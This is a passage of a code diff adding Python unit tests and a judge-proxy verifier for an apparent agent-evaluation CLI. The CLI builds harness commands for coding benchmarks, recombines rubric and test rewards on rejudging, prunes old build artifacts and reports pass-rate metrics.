+from __future__ import annotations
+
+import unittest
+
+from zed_eval import baseline
+
+
+class BaselineRecordTests(unittest.TestCase):
+    def test_record_uses_base_ref_from_source_info(self) -> None:
+        record, has_build_info = baseline._record_from_provenance(
+            namespace="alice",
+            fallback_experiment="swe-atlas-rf",
+            run_id="run-1",
+            provenance={
+                "request": {
+                    "experiment_name": "swe-atlas-rf",
+                    "agent_model": "anthropic/claude-sonnet-4-6",
+                    "judge_preset": "kimi-k2.7-code",
+                    "build_id": "bld-test",
+                },
+                "summary": {"status": "completed", "trial_count": 10},
+                "build_info": {
+                    "build_id": "bld-test",
+                    "base_sha": "a" * 40,
+                    "patch_sha256": None,
+                    "source": {"base_ref": "v0.210.0"},
+                },
+            },
+        )
+
+        self.assertTrue(has_build_info)
+        self.assertEqual(record["base_ref"], "v0.210.0")
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/tests/test_benchmarks.py b/crates/eval_cli/zed_eval/tests/test_benchmarks.py
new file mode 100644
index 00000000000000..c366855cb4c0af
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_benchmarks.py
@@ -0,0 +1,137 @@
+from __future__ import annotations
+
+import unittest
+
+from zed_eval import benchmarks, config, harness_command
+
+
+def make_run_request(benchmark_id: str, **overrides: object) -> dict[str, object]:
+    benchmark = benchmarks.get_benchmark(benchmark_id)
+    request: dict[str, object] = {
+        "run_id": "run-1",
+        "namespace": "tester",
+        "experiment_name": benchmark_id,
+        "benchmark": benchmarks.benchmark_metadata(benchmark),
+        "volume_name": "agent-evals",
+        "api_secret_name": "agent-evals-llm-providers",
+        "build_id": "bld-test",
+        "agent_model": "anthropic/claude-sonnet-4-6",
+        "judge_preset": benchmark.default_judge or "leaderboard",
+    }
+    request.update(overrides)
+    return request
+
+
+def option_values(command: list[str], option: str) -> list[str]:
+    return [
+        command[index + 1]
+        for index, argument in enumerate(command[:-1])
+        if argument == option
+    ]
+
+
+class BenchmarkResolutionTests(unittest.TestCase):
+    def test_group_expands_to_parts(self) -> None:
+        self.assertEqual(
+            benchmarks.resolve_benchmarks(["swe-atlas"]),
+            ["swe-atlas-qna", "swe-atlas-rf", "swe-atlas-tw"],
+        )
+
+    def test_aliases_and_dedup(self) -> None:
+        self.assertEqual(
+            benchmarks.resolve_benchmarks(["qna", "tb21", "rf,tw"]),
+            [
+                "swe-atlas-qna",
+                "terminal-bench-2.1",
+                "swe-atlas-rf",
+                "swe-atlas-tw",
+            ],
+        )
+
+
+class HarnessCommandTests(unittest.TestCase):
+    def test_terminal_bench_is_harbor_registry_no_judge(self) -> None:
+        command = harness_command.build_harness_command(
+            make_run_request("terminal-bench-2.1"), "/tmp/jobs"
+        )
+        self.assertEqual(command[0], "harbor")
+        self.assertIn("terminal-bench/terminal-bench-2-1", command)
+        self.assertIn("-d", command)
+        # Test-scored benchmarks must not wire up an LLM judge.
+        self.assertFalse(any(arg.startswith("EVAL_MODEL=") for arg in command))
+        self.assertNotIn("--verifier-import-path", command)
+
+    def test_swe_atlas_rf_wires_judge(self) -> None:
+        command = harness_command.build_harness_command(
+            make_run_request("swe-atlas-rf"), "/tmp/jobs"
+        )
+        verifier_env = option_values(command, "--ve")
+        agent_env = option_values(command, "--ae")
+
+        self.assertEqual(command[0], "harbor")
+        self.assertIn("scale-ai/swe-atlas-rf", command)
+        self.assertIn(
+            config.JUDGE_PROXY_VERIFIER_IMPORT_PATH,
+            option_values(command, "--verifier-import-path"),
+        )
+        self.assertTrue(any(arg.startswith("EVAL_MODEL=") for arg in verifier_env))
+        self.assertTrue(
+            any(arg.startswith("ZED_JUDGE_UPSTREAM=") for arg in verifier_env)
+        )
+        self.assertTrue(
+            any(arg.startswith("ZED_JUDGE_AUTH_ENV=") for arg in verifier_env)
+        )
+        self.assertIn("ZED_JUDGE_MAX_TOKENS=8192", verifier_env)
+        self.assertFalse(any(arg.startswith("ZED_JUDGE_") for arg in agent_env))
+
+    def test_deepswe_uses_pier_path_without_cli_allowlist(self) -> None:
+        command = harness_command.build_harness_command(
+            make_run_request("deepswe"), "/tmp/jobs"
+        )
+        self.assertEqual(command[0], "pier")
+        self.assertIn("-p", command)
+        self.assertIn("/tmp/datasets/deepswe/tasks", command)
+        # Pier uses the Pier-native agent class.
+        self.assertIn("zed_eval.pier_agent:ZedPierAgent", command)
+        # The Pier network allowlist is declared by the agent, not the CLI;
+        # `pier run` has no --agent-allow-host option.
+        self.assertNotIn("--agent-allow-host", command)
+
+    def test_harbor_benchmarks_use_harbor_agent(self) -> None:
+        command = harness_command.build_harness_command(
+            make_run_request("swe-atlas-rf"), "/tmp/jobs"
+        )
+        self.assertIn("zed_eval.agent:ZedAgent", command)
+
+    def test_eval_cli_timeout_override(self) -> None:
+        command = harness_command.build_harness_command(
+            make_run_request("swe-atlas-rf", eval_cli_timeout=123), "/tmp/jobs"
+        )
+        self.assertIn("EVAL_CLI_TIMEOUT=123", command)
+
+    def test_extra_env_is_forwarded_to_harness_agent(self) -> None:
+        command = harness_command.build_harness_command(
+            make_run_request(
+                "swe-atlas-rf",
+                extra_env={
+                    "ZED_EVAL_INSTRUCTION_SUFFIX_FILE": "/data/prompts/checklist.md"
+                },
+            ),
+            "/tmp/jobs",
+        )
+
+        self.assertIn(
+            "ZED_EVAL_INSTRUCTION_SUFFIX_FILE=/data/prompts/checklist.md",
+            option_values(command, "--ae"),
+        )
+
+    def test_swe_atlas_tw_uses_path_dataset(self) -> None:
+        command = harness_command.build_harness_command(
+            make_run_request("swe-atlas-tw"), "/tmp/jobs"
+        )
+        self.assertIn("-p", command)
+        self.assertIn("/tmp/datasets/swe-atlas-tw/data/tw", command)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/tests/test_cleanup.py b/crates/eval_cli/zed_eval/tests/test_cleanup.py
new file mode 100644
index 00000000000000..da8a5cf7e20314
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_cleanup.py
@@ -0,0 +1,79 @@
+from __future__ import annotations
+
+import os
+import tempfile
+import time
+import unittest
+from pathlib import Path
+
+from zed_eval import cleanup
+
+
+def age_path(path: Path, days: float) -> None:
+    past = time.time() - days * 86400.0
+    os.utime(path, (past, past))
+
+
+class PruneArtifactsTests(unittest.TestCase):
+    def setUp(self) -> None:
+        self._tmp = tempfile.TemporaryDirectory()
+        self.root = Path(self._tmp.name)
+        self.addCleanup(self._tmp.cleanup)
+
+    def _make_build(self, build_id: str, age_days: float) -> Path:
+        build_dir = self.root / "builds" / build_id
+        build_dir.mkdir(parents=True)
+        (build_dir / "eval-cli").write_text("binary")
+        ready = build_dir / "READY"
+        ready.write_text("done")
+        age_path(ready, age_days)
+        return build_dir
+
+    def test_eval_results_are_never_touched(self) -> None:
+        runs = self.root / "runs" / "anant" / "swe-atlas-rf" / "run-1"
+        runs.mkdir(parents=True)
+        result_file = runs / "summary.json"
+        result_file.write_text("{}")
+        age_path(result_file, 999)
+
+        cleanup.prune_artifacts(self.root, dry_run=False, build_retention_days=14)
+
+        self.assertTrue(result_file.exists())
+
+    def test_removes_old_builds_keeps_recent(self) -> None:
+        self._make_build("bld-old", age_days=30)
+        self._make_build("bld-new", age_days=1)
+
+        result = cleanup.prune_artifacts(
+            self.root, dry_run=False, build_retention_days=14
+        )
+
+        self.assertFalse((self.root / "builds" / "bld-old").exists())
+        self.assertTrue((self.root / "builds" / "bld-new").exists())
+        self.assertEqual(result["counts"]["builds"], 1)
+
+    def test_dry_run_deletes_nothing(self) -> None:
+        self._make_build("bld-old", age_days=30)
+        result = cleanup.prune_artifacts(
+            self.root, dry_run=True, build_retention_days=14
+        )
+        self.assertTrue((self.root / "builds" / "bld-old").exists())
+        self.assertEqual(result["counts"]["builds"], 1)
+
+    def test_stale_lock_removed(self) -> None:
+        locks = self.root / "build-locks"
+        locks.mkdir(parents=True)
+        stale = locks / "bld-x.json"
+        stale.write_text("{}")
+        age_path(stale, 1)  # 1 day > 6h ttl
+        fresh = locks / "bld-y.json"
+        fresh.write_text("{}")
+
+        cleanup.prune_artifacts(self.root, dry_run=False, lock_ttl_hours=6)
+
+        self.assertFalse(stale.exists())
+        self.assertTrue(fresh.exists())
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/tests/test_launch.py b/crates/eval_cli/zed_eval/tests/test_launch.py
new file mode 100644
index 00000000000000..7c1ee906b508fa
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_launch.py
@@ -0,0 +1,146 @@
+from __future__ import annotations
+
+import argparse
+import contextlib
+import io
+import unittest
+from unittest.mock import patch
+
+from zed_eval import config
+from zed_eval.cli import build_parser
+from zed_eval.launch import prepare_benchmark_suite, prepare_shared_build, prepare_suite
+
+
+class LaunchPlanTests(unittest.TestCase):
+    def parse(self, argv: list[str]) -> argparse.Namespace:
+        return build_parser().parse_args(argv)
+
+    def test_swe_atlas_defaults_judges_by_part(self) -> None:
+        args = self.parse(
+            [
+                "swe-atlas",
+                "--parts",
+                "qna,rf",
+                "--build",
+                "bld-test",
+                "--plan",
+                "--allow-untracked",
+                "--n-tasks",
+                "1",
+                "--yes",
+            ]
+        )
+
+        prepared = prepare_suite(args)
+
+        self.assertEqual([part for part, *_ in prepared], ["qna", "rf"])
+        self.assertEqual(prepared[0][1]["build_id"], "bld-test")
+        self.assertEqual(prepared[0][2]["build_id"], "bld-test")
+        self.assertEqual(prepared[1][1]["build_id"], "bld-test")
+        self.assertIsNone(prepared[1][2])
+        self.assertEqual(prepared[0][1]["judge_preset"], "deepseek-v4-pro")
+        self.assertEqual(prepared[1][1]["judge_preset"], "kimi-k2.7-code")
+        self.assertEqual(prepared[0][1]["agent_model"], config.DEFAULT_MODEL)
+
+    def test_baseten_model_preset_generates_provider_json(self) -> None:
+        args = self.parse(
+            [
+                "swe-atlas",
+                "--parts",
+                "tw",
+                "--build",
+                "bld-test",
+                "--plan",
+                "--allow-untracked",
+                "--model",
+                "baseten:kimi-k2.7-code",
+                "--yes",
+            ]
+        )
+
+        prepared = prepare_suite(args)
+        run_request = prepared[0][1]
+
+        self.assertEqual([part for part, *_ in prepared], ["tw"])
+        self.assertEqual(run_request["benchmark"]["id"], "swe-atlas-tw")
+        self.assertEqual(
+            run_request["agent_model"], "baseten/moonshotai/Kimi-K2.7-Code"
+        )
+        self.assertIn(
+            "moonshotai/Kimi-K2.7-Code", run_request["openai_compatible_provider_json"]
+        )
+        self.assertIn(
+            "https://inference.baseten.co/v1",
+            run_request["openai_compatible_provider_json"],
+        )
+
+    def test_interactive_suite_can_include_non_swe_atlas_benchmarks(self) -> None:
+        args = self.parse(
+            [
+                "swe-atlas",
+                "--build",
+                "bld-test",
+                "--plan",
+                "--allow-untracked",
+                "--yes",
+            ]
+        )
+
+        prepared = prepare_benchmark_suite(
+            args, ["qna", "terminal-bench-2.1", "deepswe"]
+        )
+
+        self.assertEqual(
+            [
+                run_request["benchmark"]["id"]
+                for _label, run_request, _build in prepared
+            ],
+            ["swe-atlas-qna", "terminal-bench-2.1", "deepswe"],
+        )
+        self.assertEqual(
+            [label for label, *_ in prepared], ["qna", "terminal-bench-2.1", "deepswe"]
+        )
+        self.assertEqual(prepared[0][1]["judge_preset"], "deepseek-v4-pro")
+        self.assertIsNone(prepared[1][1]["judge_preset"])
+        self.assertIsNone(prepared[2][1]["judge_preset"])
+        self.assertEqual(prepared[0][1]["build_id"], "bld-test")
+        self.assertEqual(prepared[1][1]["build_id"], "bld-test")
+        self.assertEqual(prepared[2][1]["build_id"], "bld-test")
+        self.assertEqual(prepared[0][2]["build_id"], "bld-test")
+        self.assertIsNone(prepared[1][2])
+        self.assertIsNone(prepared[2][2])
+
+    def test_explicit_existing_build_skips_source_preparation(self) -> None:
+        args = self.parse(["run", "rf", "--build", "custom-build"])
+
+        with (
+            contextlib.redirect_stdout(io.StringIO()),
+            patch("zed_eval.launch.build_ready_on_volume", return_value=True),
+            patch("zed_eval.launch.resolve_source") as resolve_source,
+        ):
+            build_id, build_request = prepare_shared_build(args)
+
+        self.assertEqual(build_id, "custom-build")
+        self.assertIsNone(build_request)
+        resolve_source.assert_not_called()
+
+    def test_explicit_missing_build_uses_from_source(self) -> None:
+        args = self.parse(
+            ["run", "rf", "--build", "custom-build", "--from", "v0.210.0"]
+        )
+
+        with (
+            patch("zed_eval.launch.build_ready_on_volume", return_value=False),
+            patch("zed_eval.source.resolve_remote_ref", return_value="a" * 40),
+        ):
+            build_id, build_request = prepare_shared_build(args)
+
+        self.assertEqual(build_id, "custom-build")
+        self.assertEqual(build_request["build_id"], "custom-build")
+        self.assertEqual(build_request["source"]["base_sha"], "a" * 40)
+        self.assertEqual(build_request["source"]["base_ref"], "v0.210.0")
+        self.assertTrue(build_request["source"]["clean_source"])
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/tests/test_rejudge.py b/crates/eval_cli/zed_eval/tests/test_rejudge.py
new file mode 100644
index 00000000000000..49c815fbfdd092
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_rejudge.py
@@ -0,0 +1,123 @@
+from __future__ import annotations
+
+import json
+import tempfile
+import unittest
+from pathlib import Path
+
+from zed_eval import config, rejudge
+
+
+class TaskResolutionTests(unittest.TestCase):
+    def test_task_tests_dir_layout(self) -> None:
+        root = Path("/cache")
+        self.assertEqual(
+            rejudge.task_tests_dir("scale-ai/task-abc", "sha256:deadbeef", root),
+            root / "scale-ai" / "task-abc" / "deadbeef" / "tests",
+        )
+
+    def test_task_tests_dir_without_hash_prefix(self) -> None:
+        root = Path("/cache")
+        self.assertEqual(
+            rejudge.task_tests_dir("org/task-1", "rawref", root),
+            root / "org" / "task-1" / "rawref" / "tests",
+        )
+
+    def test_detect_part(self) -> None:
+        with tempfile.TemporaryDirectory() as tmp:
+            tests = Path(tmp)
+            self.assertIsNone(rejudge.detect_part(tests))
+            (tests / rejudge.RF_VERIFIER).write_text("")
+            self.assertEqual(rejudge.detect_part(tests), rejudge.PART_RF)
+
+    def test_detect_part_qna(self) -> None:
+        with tempfile.TemporaryDirectory() as tmp:
+            tests = Path(tmp)
+            (tests / rejudge.QNA_VERIFIER).write_text("")
+            self.assertEqual(rejudge.detect_part(tests), rejudge.PART_QNA)
+
+
+class RewardRecombinationTests(unittest.TestCase):
+    def test_rf_pass_requires_rubric_and_tests(self) -> None:
+        # rubric passes, tests passed -> overall pass
+        rewards = rejudge.recompute_rf_rewards(
+            {"must_have_pass": True, "agg_score": 0.9},
+            {"tests_reward": 1.0},
+        )
+        self.assertEqual(rewards["reward"], 1.0)
+        self.assertEqual(rewards["overall_pass"], 1.0)
+        self.assertEqual(rewards["must_have_pass"], 1.0)
+        self.assertEqual(rewards["tests_reward"], 1.0)
+
+    def test_rf_rubric_pass_but_tests_fail_is_fail(self) -> None:
+        rewards = rejudge.recompute_rf_rewards(
+            {"must_have_pass": True, "agg_score": 0.9},
+            {"tests_reward": 0.0},
+        )
+        self.assertEqual(rewards["reward"], 0.0)
+
+    def test_rf_tests_pass_but_rubric_fail_is_fail(self) -> None:
+        rewards = rejudge.recompute_rf_rewards(
+            {"must_have_pass": False, "agg_score": 0.2},
+            {"tests_reward": 1.0},
+        )
+        self.assertEqual(rewards["reward"], 0.0)
+        self.assertEqual(rewards["rubrics_agg_score"], 0.2)
+
+    def test_rf_preserves_tests_reward_from_parent(self) -> None:
+        # tests_reward is invariant under rejudge (patch unchanged).
+        rewards = rejudge.recompute_rf_rewards(
+            {"must_have_pass": False, "agg_score": 0.0},
+            {"tests_reward": 1.0, "reward": 1.0},
+        )
+        self.assertEqual(rewards["tests_reward"], 1.0)
+
+    def test_qna_reward_is_pass_verdict(self) -> None:
+        self.assertEqual(rejudge.recompute_qna_rewards({"pass": True})["reward"], 1.0)
+        self.assertEqual(rejudge.recompute_qna_rewards({"pass": False})["reward"], 0.0)
+
+
+class ResultPatchingTests(unittest.TestCase):
+    def test_patch_preserves_agent_metrics(self) -> None:
+        with tempfile.TemporaryDirectory() as tmp:
+            result_path = Path(tmp) / "result.json"
+            result_path.write_text(
+                json.dumps(
+                    {
+                        "task_name": "scale-ai/task-1",
+                        "agent_result": {"tokens": 12345},
+                        "verifier_result": {"rewards": {"reward": 0.0}},
+                    }
+                )
+            )
+            rejudge.patch_result_rewards(result_path, {"reward": 1.0})
+            patched = json.loads(result_path.read_text())
+            # Verdict updated...
+            self.assertEqual(patched["verifier_result"]["rewards"], {"reward": 1.0})
+            # ...but agent metrics and other fields untouched.
+            self.assertEqual(patched["agent_result"], {"tokens": 12345})
+            self.assertEqual(patched["task_name"], "scale-ai/task-1")
+
+
+class JudgeEnvironmentTests(unittest.TestCase):
+    def test_proxy_environment_from_judge_config(self) -> None:
+        judge = config.get_judge("deepseek-v4-pro")
+        env = rejudge.proxy_environment(judge)
+        self.assertEqual(env["ZED_JUDGE_UPSTREAM"], judge.upstream)
+        self.assertEqual(env["ZED_JUDGE_AUTH_ENV"], judge.auth_env)
+        self.assertEqual(env["ZED_JUDGE_MAX_TOKENS"], str(judge.max_tokens))
+
+    def test_proxy_environment_omits_unset_max_tokens(self) -> None:
+        judge = config.get_judge("leaderboard")
+        env = rejudge.proxy_environment(judge)
+        self.assertNotIn("ZED_JUDGE_MAX_TOKENS", env)
+
+    def test_verifier_environment_points_at_proxy(self) -> None:
+        env = rejudge.verifier_environment("some/model", 8089)
+        self.assertEqual(env["EVAL_MODEL"], "some/model")
+        self.assertEqual(env["EVAL_BASE_URL"], "http://127.0.0.1:8089/v1")
+        self.assertTrue(env["EVAL_API_KEY"])
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/tests/test_report.py b/crates/eval_cli/zed_eval/tests/test_report.py
new file mode 100644
index 00000000000000..52a5282cf53a14
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_report.py
@@ -0,0 +1,113 @@
+from __future__ import annotations
+
+import unittest
+
+from zed_eval import report
+from zed_eval.report import TrialRecord
+
+
+def trial(
+    task: str,
+    passed: bool | None,
+    *,
+    steps: int,
+    tool_calls: dict[str, int],
+    input_tokens: int = 0,
+    output_tokens: int = 0,
+) -> TrialRecord:
+    return TrialRecord(
+        task_name=task,
+        started_at=None,
+        passed=passed,
+        error_reason=None,
+        input_tokens=input_tokens,
+        output_tokens=output_tokens,
+        step_count=steps,
+        total_tool_calls=sum(tool_calls.values()),
+        tool_calls=dict(tool_calls),
+        has_result=True,
+    )
+
+
+class SliceMetricsTests(unittest.TestCase):
+    def test_means_over_subset(self) -> None:
+        records = [
+            trial("a", True, steps=4, tool_calls={"read_file": 2, "edit_file": 1}),
+            trial("b", True, steps=6, tool_calls={"read_file": 4, "edit_file": 3}),
+        ]
+        metrics = report.slice_metrics(records)
+        self.assertEqual(metrics["n"], 2)
+        self.assertEqual(metrics["mean_steps"], 5.0)
+        self.assertEqual(metrics["mean_tool_calls"], 5.0)
+        self.assertEqual(metrics["mean_tool_calls_by_tool"]["read_file"], 3.0)
+        self.assertEqual(metrics["mean_tool_calls_by_tool"]["edit_file"], 2.0)
+
+    def test_empty_slice(self) -> None:
+        metrics = report.slice_metrics([])
+        self.assertEqual(metrics["n"], 0)
+        self.assertIsNone(metrics["mean_steps"])
+
+
+class ReportConditioningTests(unittest.TestCase):
+    def test_on_success_excludes_failures_and_errors(self) -> None:
+        records = [
+            trial(
+                "pass1", True, steps=3, tool_calls={"read_file": 1}, input_tokens=100
+            ),
+            trial(
+                "fail1", False, steps=9, tool_calls={"read_file": 9}, input_tokens=900
+            ),
+            trial("err1", None, steps=1, tool_calls={"read_file": 1}),
+        ]
+        scored = [r for r in records if r.passed is not None]
+        passing = [r for r in scored if r.passed]
+
+        on_success = report.slice_metrics(passing)
+        overall = report.slice_metrics(scored)
+
+        # Conditioned on success: only the passing trial counts.
+        self.assertEqual(on_success["n"], 1)
+        self.assertEqual(on_success["mean_steps"], 3.0)
+        # Overall (scored) includes the failure, inflating the mean.
+        self.assertEqual(overall["n"], 2)
+        self.assertEqual(overall["mean_steps"], 6.0)
+
+    def test_pass_rate_single_attempt(self) -> None:
+        scored = [
+            trial("a", True, steps=1, tool_calls={}),
+            trial("b", False, steps=1, tool_calls={}),
+            trial("c", True, steps=1, tool_calls={}),
+            trial("d", True, steps=1, tool_calls={}),
+        ]
+        rate, sem, attempts = report.pass_rate_with_sem(scored)
+        self.assertAlmostEqual(rate, 0.75)
+        self.assertIsNone(sem)
+        self.assertEqual(attempts, 1)
+
+
+class TimeoutVerdictTests(unittest.TestCase):
+    def _result(self, exc_type: str) -> dict:
+        return {"exception_info": {"exception_type": exc_type}}
+
+    def test_timeout_excluded_by_default(self) -> None:
+        passed, reason = report.trial_verdict(self._result("AgentTimeoutError"))
+        self.assertIsNone(passed)
+        self.assertEqual(reason, "AgentTimeoutError")
+
+    def test_timeout_counts_as_failure_when_enabled(self) -> None:
+        passed, reason = report.trial_verdict(
+            self._result("AgentTimeoutError"), timeout_is_failure=True
+        )
+        self.assertIs(passed, False)
+        self.assertEqual(reason, "AgentTimeoutError")
+
+    def test_other_exceptions_stay_errored_even_when_enabled(self) -> None:
+        # A genuine harness/infra exception is never a scored failure.
+        passed, _ = report.trial_verdict(
+            self._result("SandboxCreateError"), timeout_is_failure=True
+        )
+        self.assertIsNone(passed)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/tests/test_run_index.py b/crates/eval_cli/zed_eval/tests/test_run_index.py
new file mode 100644
index 00000000000000..1cef1db2ff20b6
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_run_index.py
@@ -0,0 +1,132 @@
+from __future__ import annotations
+
+import json
+import os
+import tempfile
+import unittest
+from pathlib import Path
+from unittest.mock import patch
+
+from zed_eval import run_index
+
+
+class RunIndexTests(unittest.TestCase):
+    def with_index_path(self, path: Path):
+        return patch.dict(os.environ, {"AGENT_EVALS_RUN_INDEX": str(path)})
+
+    def test_record_lookup_and_recent(self) -> None:
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            path = Path(temporary_directory) / "nested" / "run-index.json"
+            with self.with_index_path(path):
+                run_index.record_run(
+                    {
+                        "run_id": "run-1",
+                        "namespace": "alice",
+                        "experiment_name": "rf",
+                        "volume_name": "custom-volume",
+                        "agent_model": "sonnet-4.6",
+                        "created_at": "2026-01-01T00:00:00+00:00",
+                    }
+                )
+                run_index.record_run(
+                    {
+                        "run_id": "run-2",
+                        "namespace": "alice",
+                        "experiment_name": "qna",
+                        "volume_name": None,
+                    }
+                )
+
+                self.assertEqual(run_index.lookup("run-1")["volume"], "custom-volume")
+                self.assertEqual(
+                    [entry["run_id"] for entry in run_index.recent(2)],
+                    ["run-2", "run-1"],
+                )
+                self.assertEqual(run_index.most_recent()["run_id"], "run-2")
+                self.assertNotIn("volume", run_index.lookup("run-2"))
+
+    def test_record_refreshes_existing_run(self) -> None:
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            path = Path(temporary_directory) / "run-index.json"
+            with self.with_index_path(path):
+                run_index.record_run(
+                    {
+                        "run_id": "run-1",
+                        "namespace": "alice",
+                        "experiment_name": "rf",
+                    }
+                )
+                run_index.record_run(
+                    {
+                        "run_id": "run-1",
+                        "namespace": "bob",
+                        "experiment_name": "tw",
+                    }
+                )
+
+                entries = run_index.recent(10)
+                self.assertEqual(len(entries), 1)
+                self.assertEqual(entries[0]["namespace"], "bob")
+                self.assertEqual(entries[0]["experiment_name"], "tw")
+
+    def test_corrupt_or_malformed_index_is_ignored(self) -> None:
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            path = Path(temporary_directory) / "run-index.json"
+            with self.with_index_path(path):
+                path.write_text("not json")
+                self.assertIsNone(run_index.lookup("run-1"))
+                self.assertEqual(run_index.recent(), [])
+
+                path.write_text(
+                    json.dumps(
+                        {
+                            "runs": [
+                                {"run_id": "missing-location"},
+                                ["not", "a", "dict"],
+                                {
+                                    "run_id": "run-1",
+                                    "namespace": "alice",
+                                    "experiment_name": "rf",
+                                },
+                            ]
+                        }
+                    )
+                )
+                self.assertIsNone(run_index.lookup("missing-location"))
+                self.assertEqual(run_index.lookup("run-1")["experiment_name"], "rf")
+
+    def test_caps_entries(self) -> None:
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            path = Path(temporary_directory) / "run-index.json"
+            with self.with_index_path(path), patch.object(run_index, "MAX_ENTRIES", 2):
+                for index in range(3):
+                    run_index.record_run(
+                        {
+                            "run_id": f"run-{index}",
+                            "namespace": "alice",
+                            "experiment_name": "rf",
+                        }
+                    )
+
+                self.assertEqual(
+                    [entry["run_id"] for entry in run_index.recent(10)],
+                    ["run-2", "run-1"],
+                )
+                self.assertIsNone(run_index.lookup("run-0"))
+
+    def test_zero_limit_returns_no_entries(self) -> None:
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            path = Path(temporary_directory) / "run-index.json"
+            with self.with_index_path(path):
+                run_index.record_run(
+                    {
+                        "run_id": "run-1",
+                        "namespace": "alice",
+                        "experiment_name": "rf",
+                    }
+                )
+                self.assertEqual(run_index.recent(0), [])
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/tests/test_source.py b/crates/eval_cli/zed_eval/tests/test_source.py
new file mode 100644
index 00000000000000..233e1e397c7c70
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_source.py
@@ -0,0 +1,68 @@
+from __future__ import annotations
+
+import argparse
+import unittest
+from unittest.mock import patch
+
+from zed_eval import source
+from zed_eval.builds import prepare_build_request, resolve_source
+
+
+class ResolveRemoteRefTests(unittest.TestCase):
+    def test_full_sha_needs_no_network(self) -> None:
+        sha = "a" * 40
+        with patch("zed_eval.source.git_output") as git_output:
+            self.assertEqual(source.resolve_remote_ref("url", sha), sha)
+            git_output.assert_not_called()
+
+    def test_annotated_tag_prefers_peeled_commit(self) -> None:
+        ls_remote = (
+            "1111111111111111111111111111111111111111\trefs/tags/v0.210.0\n"
+            "2222222222222222222222222222222222222222\trefs/tags/v0.210.0^{}"
+        )
+        with patch("zed_eval.source.git_output", return_value=ls_remote):
+            self.assertEqual(source.resolve_remote_ref("url", "v0.210.0"), "2" * 40)
+
+    def test_unresolvable_ref_raises(self) -> None:
+        with patch("zed_eval.source.git_output", return_value=""):
+            with self.assertRaises(ValueError):
+                source.resolve_remote_ref("url", "missing")
+
+
+class BuildIdDedupTests(unittest.TestCase):
+    """A clean tag and the SHA it resolves to must yield the *same* build id, so
+    a build done by one teammate is reused by another."""
+
+    def _build_id_for(self, from_source: str, resolved_sha: str) -> str:
+        args = argparse.Namespace(
+            from_source=from_source,
+            base_sha=None,
+            clean_source=False,
+            zed_version=None,
+            repo_url=source.DEFAULT_REPO_URL,
+        )
+        with patch("zed_eval.source.resolve_remote_ref", return_value=resolved_sha):
+            base_sha, clean, label, pre_resolved = resolve_source(args)
+        request = prepare_build_request(
+            base_sha=base_sha,
+            patch_path=None,
+            build_id=None,
+            allow_untracked=False,
+            require_clean=False,
+            repo_url=source.DEFAULT_REPO_URL,
+            clean_source=clean,
+            source_label=label,
+            pre_resolved_base_sha=pre_resolved,
+        )
+        return request["build_id"]
+
+    def test_tag_and_sha_share_build_id(self) -> None:
+        sha = "c" * 40
+        from_tag = self._build_id_for("v0.210.0", sha)
+        from_sha = self._build_id_for(sha, sha)
+        self.assertEqual(from_tag, from_sha)
+        self.assertTrue(from_tag.startswith("bld-"))
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/verifier.py b/crates/eval_cli/zed_eval/verifier.py
new file mode 100644
index 00000000000000..f5bf5eeb03a5a8
--- /dev/null
+++ b/crates/eval_cli/zed_eval/verifier.py
@@ -0,0 +1,59 @@
+from __future__ import annotations
+
+from harbor.models.verifier.result import VerifierResult
+from harbor.utils.env import resolve_env_vars
+from harbor.verifier.verifier import Verifier
+
+from .judge_proxy import JUDGE_PROXY_ENSURE_SCRIPT, JUDGE_PROXY_SCRIPT
+
+
+class ZedJudgeProxyVerifier(Verifier):
+    async def verify(self) -> VerifierResult:
+        await self._ensure_judge_proxy()
+        return await super().verify()
+
+    def _merged_verifier_env(self) -> dict[str, str]:
+        return {
+            **self.task.config.verifier.env,
+            **(self.verifier_env or {}),
+            **self.override_env,
+        }
+
+    async def _ensure_judge_proxy(self) -> None:
+        merged_env = self._merged_verifier_env()
+        if not merged_env.get("ZED_JUDGE_UPSTREAM"):
+            return
+
+        env = resolve_env_vars(merged_env)
+        result = await self.environment.exec(
+            command=(
+                "set -e\n"
+                "mkdir -p /usr/local/lib /usr/local/bin\n"
+                "cat > /usr/local/lib/zed_judge_proxy.py <<'ZED_PROXY_EOF'\n"
+                f"{JUDGE_PROXY_SCRIPT}"
+                "ZED_PROXY_EOF\n"
+                "cat > /usr/local/bin/ensure-judge-proxy <<'ZED_ENSURE_EOF'\n"
+                f"{JUDGE_PROXY_ENSURE_SCRIPT}"
+                "ZED_ENSURE_EOF\n"
+                "chmod +x /usr/local/bin/ensure-judge-proxy\n"
+                "ensure-judge-proxy\n"
+                "python3 - <<'ZED_PROXY_CHECK_EOF'\n"
+                "import os, socket\n"
+                "port = int(os.environ.get('ZED_JUDGE_PROXY_PORT', '8089'))\n"
+                "with socket.create_connection(('127.0.0.1', port), timeout=5):\n"
+                "    pass\n"
+                "ZED_PROXY_CHECK_EOF\n"
+                "if [ -f /tmp/zed-judge-proxy.log ]; then "
+                "tail -2 /tmp/zed-judge-proxy.log; fi\n"
+            ),
+            user="root",
+            env=env,
+        )
+        if result.return_code != 0:
+            output = "\n".join(
+                part for part in (result.stdout, result.stderr) if part
+            ).strip()
+            detail = f": {output}" if output else ""
